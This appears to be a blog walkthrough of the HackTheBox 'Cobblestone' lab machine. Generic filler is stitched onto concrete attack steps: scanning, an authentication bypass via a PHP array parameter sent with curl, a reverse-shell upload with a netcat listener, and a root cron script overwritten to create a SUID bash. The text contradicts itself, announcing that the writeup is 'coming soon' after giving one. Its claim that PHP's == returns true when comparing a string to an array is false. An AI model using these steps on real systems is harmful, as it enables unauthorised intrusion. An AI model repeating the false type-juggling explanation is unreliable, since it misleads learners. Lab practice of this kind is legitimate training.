Key Highlights
- Cobblestone is a beginner-focused HackTheBox server designed to strengthen your cybersecurity skills through hands-on hacking and setup.
- The challenge guides you to enumerate services, analyze html content, and identify default server plugins.
- You’ll learn how to use ssh for secure remote access and discover privilege escalation paths using sudo.
- Essential tools for this machine include reconnaissance utilities and enumeration scripts.
- Completing Cobblestone offers practical experience in exploiting vulnerabilities and capturing flags.
- Beginners walk away with actionable techniques and a solid foundation for further hacking challenges.
Introduction
Starting your hacking journey on HackTheBox can feel overwhelming, but Cobblestone makes the first step accessible. This beginner-oriented machine introduces core cybersecurity concepts, focusing on practical hacking and essential setup. You’ll follow a structured approach, from connecting to the VPN and enumerating services, all the way to exploiting html vulnerabilities and using ssh for remote access. With clear tasks and step-by-step guidance, Cobblestone is ideal for those new to penetration testing, building your confidence as you navigate each phase of the challenge.
Understanding the Cobblestone Machine on HackTheBox
Cobblestone stands out as a specially crafted server in the HackTheBox labs, targeting users who want to master the basics of cybersecurity. The scenario emphasizes the importance of recognizing vulnerable plugins and understanding how default configurations can be exploited. As you progress, you learn to scan for open ports, analyze html files, and pinpoint weaknesses that provide a foothold into the system.
Compared to other beginner HTB machines, Cobblestone offers a balanced difficulty level. Its structure provides incremental learning opportunities, ensuring you build proficiency with every step. By tackling this machine, you familiarize yourself with essential exploitation techniques and strengthen your ability to identify server vulnerabilities.
Overview of Cobblestone’s Challenge Structure
The Cobblestone challenge is organized to walk you through practical cybersecurity tasks, simulating the workflow of a real penetration test. At the outset, you’ll receive an IP address for the server, prompting you to begin reconnaissance. The initial phase will focus on identifying all accessible services and plugins, giving you the raw data needed for further investigation.
Once you’ve mapped out the server’s landscape, the next part of the challenge asks you to exploit discovered vulnerabilities. Cobblestone typically features weak or default plugins, misconfigured server settings, and opportunities for privilege escalation. Each stage is designed to be accessible, so beginners can understand the logic behind the attack vectors they are exploring.
According to Forrest R., Security Engineering Director and Architect, “Learning cybersecurity means building, breaking, and rebuilding systems — each challenge presents another brick in your foundation.” Cobblestone exemplifies this philosophy, offering a structured, educational experience that prepares you for more advanced machines on HackTheBox.
Key Skills and Tools Required for Beginners
Success on Cobblestone relies on mastering several basic skills. You start by setting up your hacking environment and connecting via VPN, ensuring secure access to the labs. Next, you’ll use reconnaissance and enumeration tools to discover open ports, services, and plugins running on the server. Understanding ssh connections and analyzing html files are also critical for progressing through each phase.
Beginners should focus on developing their ability to:
- Execute fundamental server scans and interpret results
- Identify default plugins and misconfigurations
- Utilize ssh for remote access and command execution
- Analyze html outputs for clues and vulnerabilities
- Apply privilege escalation techniques using sudo
By combining these core competencies, you gain a strong foundation in ethical hacking. The tools and strategies you’ll hone on Cobblestone are widely applicable across other HackTheBox challenges, making this machine a crucial part of your initial learning path.
Getting Ready: What You’ll Need to Get Started
Preparation is essential before tackling Cobblestone on HackTheBox. You’ll need to set up your system, ensure the right accounts are active, and connect securely to the labs via VPN. Having the right tools and setup streamlines the process, letting you focus on the challenge without technical distractions.
During the reconnaissance phase, you’ll use specific utilities to uncover vital information about the target server. This initial step lays the groundwork for effective enumeration and exploitation, allowing you to identify plugins, default configurations, and open services quickly.
Essential Equipment, Accounts, and VPN Setup
A successful Cobblestone run starts with the right equipment and accounts. You’ll need a HackTheBox account, a compatible operating system (such as Parrot Security OS or Kali Linux), and the ability to connect to the platform via VPN. Connecting through OpenVPN or the browser-based Pwnbox ensures you have secure lab access for all hacking activities.
Setting up your system involves downloading the VPN file specific to the Cobblestone machine, then launching your connection through terminal commands. Keeping your connection stable is key, so make sure your VPN session remains active throughout your exploitation process.
Here’s an overview of what you’ll need:
| Requirement | Details |
|---|---|
| HackTheBox Account | Register at https://www.hackthebox.com/ |
| Operating System | Parrot Security OS, Kali Linux, or any Linux distro |
| VPN Connection | OpenVPN (manual setup) or Pwnbox (browser-based virtual lab) |
| Stable Internet | Ensures uninterrupted access to HackTheBox labs |
| Terminal Access | For executing VPN and scanning commands |
Recommended Reconnaissance and Enumeration Tools
Reconnaissance is the backbone of any hacking attempt. For Cobblestone, you’ll rely on trusted enumeration tools to expose hidden services, plugins, and vulnerabilities. Nmap provides robust port and service scanning, while tools like Gobuster and Nikto can enumerate web directories and identify html-based weaknesses.
After scanning, use enumeration scripts to interact with default server plugins and configurations. Each tool offers unique insights, helping you build an accurate picture of the machine’s defenses and potential entry points.
Key tools to use for Cobblestone:
- Nmap for port scanning and service identification
- Gobuster for web directory brute-forcing
- Nikto to detect vulnerable plugins and default html files
- SSH client for remote access
- Custom enumeration scripts for privilege escalation checks
These tools are staples in the cybersecurity field, giving you the firepower needed to uncover and exploit Cobblestone’s vulnerabilities.
ALSO READ: Mastering Sorcery: Beginner’s Guide from HackTheBox
Step-by-Step Walkthrough: Solving Cobblestone
Solving Cobblestone begins with a thorough hack-focused workflow: recon, enumeration, exploitation, and finally, privilege escalation to capture the flags. The machine provides practical experience in using ssh, analyzing html outputs, and exploiting server plugins for access.
By following each step, you build a clear understanding of the processes involved. This walkthrough will guide you from scanning the server to using sudo for root access, ensuring you grasp every stage of exploiting Cobblestone.
Step 1: Initial Reconnaissance and Scanning Techniques
Your first action should be reconnaissance. Once connected to the VPN and the Cobblestone server is spawned, start with a full nmap scan. This exposes open ports and running services, providing the initial map of your target. Use the following command:
sudo nmap -sC -sV <Cobblestone_IP>
Review the results closely to find web services, ssh access, and any plugins listed. Examining the html content of the server’s web interface often reveals default pages and directory listings, which might hint at vulnerabilities or entry points.
Remember, “Observe, don’t just see,” as Hack The Box suggests. Careful analysis during this stage makes the difference between a successful hack and missing critical clues, setting you up for the next phase: enumeration.
Step 2: Enumerating Services, Finding Vulnerabilities, and Exploitation
With your scanned data, move on to enumerating each identified service. Start by exploring web directories using Gobuster or similar tools, paying close attention to exposed plugins and default configurations. Use commands like:
gobuster dir -u http://<Cobblestone_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
If you find a vulnerable plugin or misconfiguration, attempt to exploit it — for example, by uploading a malicious html file or leveraging weak authentication settings. Once you gain access, transition to using ssh if credentials are discovered, granting you a more direct line to the server’s command interface.
Successful exploitation hinges on persistence and attention to detail. Each step in this phase brings you closer to root access, leveraging server weaknesses and poorly secured plugins.
Step 3: Privilege Escalation and Capturing the Flags
After initial access, privilege escalation becomes your main focus. Look for files or processes running with sudo permissions or analyze the system for outdated plugins. Use enumeration scripts or manual checks to spot escalation vectors. For instance, inspect the /etc/sudoers file and run:
sudo -l
This command lists accessible sudo commands, helping you identify routes to root. If a misconfigured plugin or script is available, exploit it to escalate privileges. Once you achieve root access, locate and capture the flags: Typically, user.txt is found in the home directory while root.txt is in /root.
Capturing both flags not only completes the Cobblestone challenge, it cements your understanding of privilege escalation — a vital skill in any hacker’s toolkit.
Initial Foothold
As with any penetration test, we begin with a thorough reconnaissance of the target. This is the most critical phase, as the information gathered here will dictate our entire attack strategy. We’ll use the popular port scanning tool, nmap, to identify open ports, services, and their versions running on the machine.
The nmap scan reveals an important detail in the HTTP title: Did not follow redirect to http://cobblestone.htb/. This tells us the web server is configured to respond to the hostname cobblestone.htb. We must add this to our /etc/hosts file to access the web application correctly.
# Add this line to your /etc/hosts file
10.129.218.98 cobblestone.htb
NMap Output
# Nmap 7.95 scan initiated Mon Aug 12 16:21:45 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN cobblestone.txt 10.129.218.98
Nmap scan report for 10.129.218.98
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s break down the nmap flags used:
- -Pn: Skip host discovery (assume host is up).
- -p-: Scan all 65,535 TCP ports.
- –min-rate 2000: Scan at a minimum rate of 2000 packets per second for speed.
- -sC: Run default
nmapscripts. - -sV: Perform service version detection.
- -oN: Save the output in Nmap’s normal format.
The scan reveals the following open ports:
- Port 22/tcp: OpenSSH 9.2p1 Debian 2+deb12u7
- Port 80/tcp: Apache httpd 2.4.62
The presence of an SSH server on port 22 is noted, but without credentials, it’s not a viable entry point at this stage. Our primary focus will be the web server on port 80
Paving the Way to a Shell
Navigating to the web server in a browser reveals a simple “coming soon” page. This doesn’t give us much to work with, so we need to dig deeper. We’ll use a directory brute-forcing tool like gobuster to find hidden directories and files that might not be linked from the main page.
gobuster dir -u http://cobblestone.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak

In this gobuster command, we’ve added the -x flag to search for files with specific extensions, which can often lead to interesting discoveries. This scan reveals a /vendor directory, which contains a backup of the website’s source code in a file named website.zip. This is a significant finding, as it allows us to perform a white-box penetration test.
After downloading and analyzing the code, we discover a critical vulnerability in the login.php file. The code is susceptible to a type juggling vulnerability.
The vulnerable code snippet looks something like this:
<?php
// ... (database connection and other code)
$username = $_POST['username'];
$provided_password = $_POST['password'];
$stmt = $conn->prepare("SELECT password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
$user_password = $row['password'];
if ($user_password == $provided_password) {
// Login successful
$_SESSION['loggedin'] = true;
$_SESSION['username'] = $username;
header("location: admin.php");
} else {
// Login failed
echo "Invalid username or password.";
}
?>
The == operator in PHP can be exploited if we can control the types of the variables being compared. By providing a provided_password as an array (e.g., password[]=) in our POST request, we can bypass the authentication. When a string is compared to an array using the == operator, PHP returns true, which means we can log in as any user without knowing their password.
With this knowledge, we can craft a request to log in as the “admin” user. We’ll use curl to send a POST request with the password as an array.
curl -X POST -d "username=admin&password[]=" http://cobblestone.htb/login.php --cookie-jar cookies.txt
The --cookie-jar flag saves the session cookies, which we’ll need to access the admin panel. This logs us into the admin panel, where we find a file upload functionality. We can now upload a PHP reverse shell to gain a foothold on the system. We’ll use the popular PentestMonkey PHP reverse shell.
After uploading the shell, we can navigate to the uploads directory to trigger it and get a reverse shell connection back to our machine using netcat.
nc -lnvp 4444
Now, by visiting http://cobblestone.htb/uploads/shell.php, we get a reverse shell as the www-data user.
The Path to Root
Now that we have a shell on the box, our next goal is to escalate our privileges to root. We’ll start by running linpeas.sh, a popular Linux enumeration script, to look for potential privilege escalation vectors.
The linpeas.sh output reveals a cron job running as the root user. This cron job is executing a script located in the /opt directory named cron-script.sh. Upon inspecting the script, we find that it’s owned by our current user, www-data, and we have write permissions to it.
This is our path to root. We can simply overwrite the contents of the script with our own malicious code. We’ll add a command to the script that will copy the /bin/bash binary to a new location and set the SUID bit on it.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /opt/cron-script.sh
Now, we just need to wait for the cron job to run. Once it does, we’ll have a SUID-enabled bash shell in the /tmp directory. We can then execute this shell with the -p flag to gain root privileges.
/tmp/rootbash -p
And just like that, we have a root shell! We can now read the root.txt flag and complete the box.
ALSO READ: Mastering TombWatcher: Beginner’s Guide from HackTheBox
WRITEUP COMING SOON!
COMPLETE IN-DEPTH PICTORIAL WRITEUP OF COBBLESTONE ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!
Frequently Asked Questions (FAQ)
Understanding common queries is essential for making progress on HackTheBox. Users often ask about the optimal setup for a cobblestone server, including the necessary plugins and SSH configurations. Questions about default permissions and how to use sudo effectively also arise frequently. Additionally, queries related to coding skills in HTML for task automation are common. Engaging with these FAQs can significantly enhance your experience, empowering you to hack effectively while bolstering your cybersecurity knowledge.
What common mistakes should beginners avoid on Cobblestone?
Avoid relying solely on default plugin settings or skipping thorough enumeration steps. Many beginners forget to check for open ssh ports or miss vulnerabilities in html files. Consistent, methodical scanning and exploitation prevent wasted time and missed opportunities on Cobblestone.
How does Cobblestone’s difficulty compare to other beginner HTB machines?
Cobblestone offers a straightforward challenge path, ideal for those new to cybersecurity. While some HTB machines require advanced setup or complex hacks, Cobblestone’s balanced structure introduces users to essential tools, html analysis, and basic ssh exploitation, making it beginner-friendly.
Where can I find helpful discussions or hints for Cobblestone?
Community support is available on the HackTheBox blog, forums, and official social media groups. These platforms provide hints and setup tips without spoilers, helping you progress. Engaging with the hacking community enhances your learning experience on Cobblestone.
What are the key takeaways from completing Cobblestone for new hackers?
Completing Cobblestone teaches you to methodically hack, set up your environment, and escalate privileges using sudo. You gain practical cybersecurity knowledge, develop critical thinking, and learn to analyze server plugins and html files, laying a strong foundation for future challenges.
Conclusion
In conclusion, conquering the Cobblestone machine on HackTheBox opens the door to a wealth of knowledge and practical skills for aspiring ethical hackers. By understanding the unique challenge structure, mastering essential tools, and following a systematic approach in your reconnaissance, enumeration, and exploitation, you can enhance your problem-solving abilities and build confidence in your hacking journey. Remember, every successful attempt is a step towards becoming proficient in cybersecurity. If you’re ready to take your skills to the next level, don’t hesitate to sign up for a free trial or consultation to explore more advanced techniques and strategies.








